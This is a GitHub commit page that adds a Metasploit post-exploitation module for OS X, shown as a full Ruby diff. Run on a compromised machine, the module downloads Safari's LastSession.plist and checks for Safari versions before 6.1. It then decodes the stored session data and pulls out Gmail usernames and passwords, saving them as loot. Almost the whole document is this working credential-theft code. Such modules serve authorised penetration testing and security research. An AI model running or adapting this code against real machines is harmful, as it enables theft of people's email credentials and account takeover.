Skip to content

Commit 345e171

Browse files
committed
Land rapid7#2775, @wchen-r7's post module to Safari get LastSession.plist
2 parents 252909a + 7ec9687 commit 345e171

File tree

1 file changed

+218
-0
lines changed

1 file changed

+218
-0
lines changed
Lines changed: 218 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,218 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'rexml/document'
8+
9+
class Metasploit3 < Msf::Post
10+
11+
include Msf::Post::File
12+
13+
def initialize(info={})
14+
super( update_info( info,
15+
'Name' => 'OSX Gather Safari LastSession.plist',
16+
'Description' => %q{
17+
This module downloads the LastSession.plist file from the target machine.
18+
LastSession.plist is used by Safari to track active websites in the current
19+
session, and sometimes contains sensitive information such as usernames and
20+
passwords. This module will first download the original LastSession.plist,
21+
and then attempt to find the credential for Gmail.
22+
},
23+
'License' => MSF_LICENSE,
24+
'Author' => [ 'sinn3r'],
25+
'Platform' => [ 'osx' ],
26+
'SessionTypes' => [ 'shell' ],
27+
'References' =>
28+
[
29+
['URL', 'http://www.securelist.com/en/blog/8168/Loophole_in_Safari']
30+
]
31+
))
32+
end
33+
34+
35+
#
36+
# Returns the Safari version based on version.plist
37+
# @return [String] The Safari version. If not found, returns ''
38+
#
39+
def get_safari_version
40+
vprint_status("#{peer} - Checking Safari version.")
41+
version = ''
42+
43+
f = read_file("/Applications/Safari.app/Contents/version.plist")
44+
xml = REXML::Document.new(f)
45+
return version if xml.root.nil?
46+
47+
xml.elements['plist/dict'].each_element do |e|
48+
if e.text == 'CFBundleShortVersionString'
49+
version = e.next_element.text
50+
break
51+
end
52+
end
53+
54+
version
55+
end
56+
57+
def peer
58+
"#{session.session_host}:#{session.session_port}"
59+
end
60+
61+
62+
#
63+
# Converts LastSession.plist to xml, and then read it
64+
# @param filename [String] The path to LastSession.plist
65+
# @return [String] Returns the XML version of LastSession.plist
66+
#
67+
def plutil(filename)
68+
cmd_exec("plutil -convert xml1 #{filename}")
69+
read_file(filename)
70+
end
71+
72+
73+
#
74+
# Returns the XML version of LastSession.plist (text file)
75+
# Just a wrapper for plutil
76+
#
77+
def get_lastsession
78+
print_status("#{peer} - Looking for LastSession.plist")
79+
plutil("~/Library/Safari/LastSession.plist")
80+
end
81+
82+
83+
#
84+
# Returns the <array> element that contains session data
85+
# @param lastsession [String] XML data
86+
# @return [REXML::Element] The Array element for the session data
87+
#
88+
def get_sessions(lastsession)
89+
session_dict = nil
90+
91+
xml = REXML::Document.new(lastsession)
92+
return nil if xml.root.nil?
93+
94+
xml.elements['plist'].each_element do |e|
95+
found = false
96+
e.elements.each do |e2|
97+
if e2.text == 'SessionWindows'
98+
session_dict = e.elements['array']
99+
found = true
100+
break
101+
end
102+
end
103+
104+
break if found
105+
end
106+
107+
session_dict
108+
end
109+
110+
111+
#
112+
# Returns the <dict> session element
113+
# @param xml [REXML::Element] The array element for the session data
114+
# @param domain [String] The domain to search for
115+
# @return [REXML::Element] The <dict> element for the session data
116+
#
117+
def get_session_element(xml, domain)
118+
dict = nil
119+
120+
found = false
121+
xml.each_element do |e|
122+
e.elements['array/dict'].each_element do |e2|
123+
if e2.text =~ /#{domain}/
124+
dict = e
125+
found = true
126+
break
127+
end
128+
end
129+
130+
break if found
131+
end
132+
133+
dict
134+
end
135+
136+
137+
#
138+
# Extracts Gmail username/password
139+
# @param xml [REXML::Element] The array element for the session data
140+
# @return [Array] [0] is the domain, [1] is the user, [2] is the pass
141+
#
142+
def find_gmail_cred(xml)
143+
vprint_status("#{peer} - Looking for username/password for Gmail.")
144+
gmail_dict = get_session_element(xml, 'mail.google.com')
145+
return '' if gmail_dict.nil?
146+
147+
raw_data = gmail_dict.elements['array/dict/data'].text
148+
decoded_data = Rex::Text.decode_base64(raw_data)
149+
cred = decoded_data.scan(/Email=(.+)&Passwd=(.+)\&signIn/).flatten
150+
user, pass = cred.map {|data| Rex::Text.uri_decode(data)}
151+
152+
return '' if user.blank? or pass.blank?
153+
154+
['mail.google.com', user, pass]
155+
end
156+
157+
#
158+
# Runs the module
159+
#
160+
def run
161+
cred_tbl = Rex::Ui::Text::Table.new({
162+
'Header' => 'Credentials',
163+
'Indent' => 1,
164+
'Columns' => ['Domain', 'Username', 'Password']
165+
})
166+
167+
#
168+
# Downloads LastSession.plist in XML format
169+
#
170+
lastsession = get_lastsession
171+
if lastsession.blank?
172+
print_error("#{peer} - LastSession.plist not found")
173+
return
174+
else
175+
p = store_loot('osx.lastsession.plist', 'text/plain', session, lastsession, 'LastSession.plist.xml')
176+
print_good("#{peer} - LastSession.plist stored in: #{p.to_s}")
177+
end
178+
179+
#
180+
# If this is an unpatched version, we try to extract creds
181+
#
182+
version = get_safari_version
183+
if version.blank?
184+
print_warning("Unable to determine Safari version, will try to extract creds anyway")
185+
elsif version >= "6.1"
186+
print_status("#{peer} - This machine no longer stores session data in plain text")
187+
return
188+
else
189+
vprint_status("#{peer} - Safari version: #{version}")
190+
end
191+
192+
#
193+
# Attempts to convert the XML file to an actual XML object, with the <array> element
194+
# holding our session data
195+
#
196+
lastsession_xml = get_sessions(lastsession)
197+
unless lastsession_xml
198+
print_error("Cannot read XML file, or unable to find any session data")
199+
return
200+
end
201+
202+
#
203+
# Look for credential in the session data.
204+
# I don't know who else stores their user/pass in the session data, but I accept pull requests.
205+
# Already looked at hotmail, yahoo, and twitter
206+
#
207+
gmail_cred = find_gmail_cred(lastsession_xml)
208+
cred_tbl << gmail_cred unless gmail_cred.blank?
209+
210+
unless cred_tbl.rows.empty?
211+
p = store_loot('osx.lastsession.creds', 'text/plain', session, cred_tbl.to_csv, 'LastSession_creds.txt')
212+
print_good("#{peer} - Found credential saved in: #{p}")
213+
print_line
214+
print_line(cred_tbl.to_s)
215+
end
216+
end
217+
218+
end

0 commit comments

Comments
 (0)